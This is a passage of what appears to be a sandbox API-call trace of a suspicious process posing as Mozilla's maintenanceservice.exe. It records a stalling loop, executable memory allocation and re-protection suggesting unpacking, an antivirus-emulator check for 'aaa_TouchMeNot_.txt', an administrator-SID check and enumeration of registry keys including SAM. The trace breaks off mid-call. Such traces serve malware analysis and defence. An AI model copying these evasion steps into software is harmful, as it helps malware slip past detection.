lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.148] GetFocus () returned 0x0 [0254.148] GetAsyncKeyState (vKey=58) returned 0 [0254.148] GetKBCodePage () returned 0x1b5 [0254.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.149] GetFocus () returned 0x0 [0254.149] GetAsyncKeyState (vKey=58) returned 0 [0254.149] GetKBCodePage () returned 0x1b5 [0254.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.150] GetFocus () returned 0x0 [0254.150] GetAsyncKeyState (vKey=58) returned 0 [0254.150] GetKBCodePage () returned 0x1b5 [0254.151] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.151] GetFocus () returned 0x0 [0254.151] GetAsyncKeyState (vKey=58) returned 0 [0254.151] GetKBCodePage () returned 0x1b5 [0254.151] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.151] GetFocus () returned 0x0 [0254.151] GetAsyncKeyState (vKey=58) returned 0 [0254.151] GetKBCodePage () returned 0x1b5 [0254.151] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.151] GetFocus () returned 0x0 [0254.151] GetAsyncKeyState (vKey=58) returned 0 [0254.151] GetKBCodePage () returned 0x1b5 [0254.151] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.151] GetFocus () returned 0x0 [0254.151] GetAsyncKeyState (vKey=58) returned 0 [0254.151] GetKBCodePage () returned 0x1b5 [0254.151] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.151] GetFocus () returned 0x0 [0254.151] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0254.152] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe")) returned 0x49 [0254.152] Sleep (dwMilliseconds=0x94) [0254.295] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0254.295] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x2f0000 [0254.300] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0254.300] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x310000 [0254.301] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0254.301] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0254.301] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0254.301] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0254.301] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0254.301] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0254.301] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0254.301] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0254.308] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0254.311] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0254.311] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0254.311] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0254.311] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0254.810] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.819] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x320000 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x104) returned 0x3207d0 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x3208e0 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320968 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x3209f0 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320a78 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320b00 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320b88 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320c10 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320c98 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320d20 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320da8 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320e30 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320eb8 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320f40 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x320fc8 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x321050 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x80) returned 0x3210d8 [0254.826] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x400) returned 0x321160 [0254.826] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xdc0000 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc07d0 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0858 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc08e0 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x184) returned 0xdc0968 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0af8 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0b40 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0b88 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0bd0 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0c18 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0c60 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0ca8 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0cf0 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0d38 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0d80 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0dc8 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0e10 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0e58 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0ea0 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0ee8 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc0f30 [0254.827] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe")) returned 0x49 [0254.827] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x100) returned 0xdc0f78 [0254.827] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdc08e0) returned 1 [0254.828] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdc08e0 [0254.828] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2c) returned 0xdc0928 [0254.833] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0254.833] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0254.833] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0254.834] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0254.834] GetLastError () returned 0x7a [0254.834] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcb8e8 [0254.834] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0xdcb8e8, TokenInformationLength=0x58, ReturnLength=0x18fbec | out: TokenInformation=0xdcb8e8, ReturnLength=0x18fbec) returned 1 [0254.834] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x5d4b40*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0254.834] EqualSid (pSid1=0x5d4b40*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xdcb90c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0254.834] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb8e8) returned 1 [0254.834] NtClose (Handle=0xc4) returned 0x0 [0254.834] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcb8e8 [0254.835] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcb930 [0254.835] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x280) returned 0xdcb9b8 [0254.836] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.844] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xdcb9b8, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.844] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.844] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbce0 [0254.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xdcbce0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0254.844] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbd28 [0254.844] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbce0) returned 1 [0254.844] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbd28) returned 1 [0254.844] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.844] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xdcb9b8, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbd28 [0254.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xdcbd28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcbce0 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbd28) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbce0) returned 1 [0254.845] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.845] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xdcb9b8, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.845] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, 